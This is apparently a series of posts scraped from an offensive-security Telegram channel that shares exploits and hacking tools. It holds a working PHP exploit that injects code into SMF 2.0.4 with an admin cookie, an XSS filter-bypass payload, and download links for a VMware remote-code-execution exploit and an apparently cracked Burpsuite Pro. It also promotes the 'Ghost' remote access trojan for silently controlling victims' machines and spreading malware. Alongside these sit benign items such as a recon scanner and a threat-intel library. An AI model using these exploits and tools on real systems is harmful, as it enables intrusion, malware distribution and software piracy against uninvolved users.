👩‍💻 VMware vRealize Log Insight Unauthenticated Remote Code Execution

⬇️ Download
🔒 LearnExploit

#VMware #Remote #Code
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
📣 T.me/LearnExploit

SMF 2.0.4 admin payload code execution

⚪️ proof of concept that latest SMF (2.0.4) can be
exploited by php injection.

⚪️ payload code must escape from \', so you should try with something like that:

⚪️ p0c\';phpinfo();// as a 'dictionary' value. Same story for locale parameter.

⚪️ For character_set - another story, as far as I remember, because here we have

⚪️ a nice stored xss. ;)

⚪️ to successfully exploit smf 2.0.4 we need correct admin's cookie:

Code:

<?php
$cookie = 'SMFCookie956=allCookiesHere';
$ch = curl_init('http://smf_2.0.4/index.php?action=admin;area=languages;sa=editlang;lid=english');
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_POST, 1); // send as POST (to 'On')
curl_setopt($ch, CURLOPT_POSTFIELDS, "character_set=en&locale=helloworld&dictionary=p0c\\';phpinfo();//&spelling=american&ce0361602df1=c6772abdb6d5e3f403bd65e3c3c2a2c0&save_main=Save");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$page = curl_exec($ch);
echo 'PHP code:<br>'.$page;
curl_close($ch); // to close 'logged-in' part
?>

#Execution #XSS #Payload
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
📣 T.me/LearnExploit

Dork for Admin page

#Dork #Find #Admin #Page
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
📣 T.me/LearnExploit

PoC auto collect from GitHub

⚠️ Be careful Malware ⚠️

😎 From 1999 to 2024

😸 Github

#CVE #POC #Github #Repo
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
📣 T.me/LearnExploit

🐉 Mantis 🐉

💬
Mantis is a command-line framework designed to automate the workflow of asset discovery, reconnaissance, and scanning. It takes the top-level domains as input, then seamlessly progresses to discovering corresponding assets, including subdomains and certificates. The tool performs reconnaissance on active assets and concludes with a comprehensive scan for vulnerabilities, secrets, misconfigurations and phishing domains - all powered by a blend of open-source and custom tools.

📊 Features:
⚪️ Automated Discovery, Recon & Scan
⚪️ Distributed Scanning (split a single scan across multiple machines)
⚪️ Super-Easy Scan Customisation
⚪️ Dashboard Support
⚪️ Vulnerability Management
⚪️ Advanced Alerting
⚪️ DNS Service Integration
⚪️ Integrate new tool (existing and custom) in minutes

🖱 Click here to know more about the features in detail.

🔼 Installation:

cd mantis/setup/docker

🍏 Macos:

./docker-setup-macos.sh

👩‍💻 Ubuntu:

./docker-setup-ubuntu.sh

😸 Github

⬇️ Download
🔒 LearnExploit

#Automates #Discovery #Vulnerability #Scanning
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
📣 T.me/LearnExploit

👻 Ghost 👻

👻 RAT (Remote Access Trojan) - Silent Botnet - Full Remote Command-Line Access - Download & Execute Programs - Spread Virus' & Malware

💬
ghost is a light RAT that gives the server/attacker full remote access to the user's command-line interpreter (cmd.exe). They are allowed to execute commands silently without the client/zombie noticing. The server/attacker is also given the ability to download and execute files on the client/zombie's computer. This is also a silent and hidden process. Like most Remote Access Trojans, this download and execution ability helps distribute viruses and other pieces of malware.

👁‍🗨
This malware is distributed simply by running zombie.exe. This file name can be changed to whatever. There is no restriction. When run, it searches for the first two arguments (IP & Port). If neither is provided, the program doesn't run. With that being said, make sure you provide the server's IP and Port in the command-line arguments. Example:

zombie.exe 127.0.0.1 27015

📊 Features:
⚪️ Remote command execution
⚪️ Silent background process
⚪️ Download and run file (Hidden)
⚪️ Safe Mode startup
⚪️ Will automatically connect to the server
⚪️ Data sent and received is encrypted (substitution cipher)
⚪️ Files are hidden
⚪️ Installed Antivirus shown to server
⚪️ Easily spread malware through download feature
⚪️ Startup info doesn't show in msconfig or other startup checking programs like CCleaner
⚪️ Disable Task Manager

😸 Github

⬇️ Download
🔒 BugCod3

#Rat #Malware #Remote #Access
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
📣 T.me/LearnExploit

👁 Burpsuite Pro 👁

📂 README (en+ru) included, plz read it before run BS.

🔼 Run with Java 18 (JDK for Win included)

⬇️ Download
🔒 311138

#Burpsuite #Pro #Tools
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
📣 T.me/LearnExploit

🙏 apiosintDS 🙏

On demand query API for Threat-Intel project.

💬
apiosintDS is a python client library for public API lookup service over OSINT IoCs stored at DigitalSide Threat-Intel repository. It can be defined a Service as a Library tool designed to act both as a standard Python library to be included in your own Python application and as command line tool. Query can be performed against souspicious IPs, domains, urls and file hashes. Data stored has a 7 days retention.

🔼 Install:
The easy way via pip:
👩‍💻 pip3 install apiosintDS

👩‍💻 From sources:
`apiosintDS
python3 -m pip install .`

👥 Example:
apiosintDS -e 7cb796c875cccc9233d82854a4e2fdf0
apiosintDS -e h[REMOVED]p://193.35.18.147/bins/k.arm -st -p -nc

😸 Github

⬇️ Download
🔒 LearnExploit

#api #ioc #cybersecurity
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
📣 T.me/LearnExploit

👁‍🗨 You probably know that

👩‍💻 <Img Src=javascript:alert(1)>

🚫 Doesn't work anymore (although several lists out there have it)

🔄 But if you add

👩‍💻 OnError=location=src

✅ It does!

👁‍🗨 Example:
https://brutelogic.com.br/gym.php?p05=%3CImg+Src=javascript:alert(1)+OnError=location=src%3E

⚠️ Not so useful but who knows your next inline injection scenario?

#XSS
➖➖➖➖➖➖➖➖➖➖
🔥 0Day.Today
📣 T.me/LearnExploit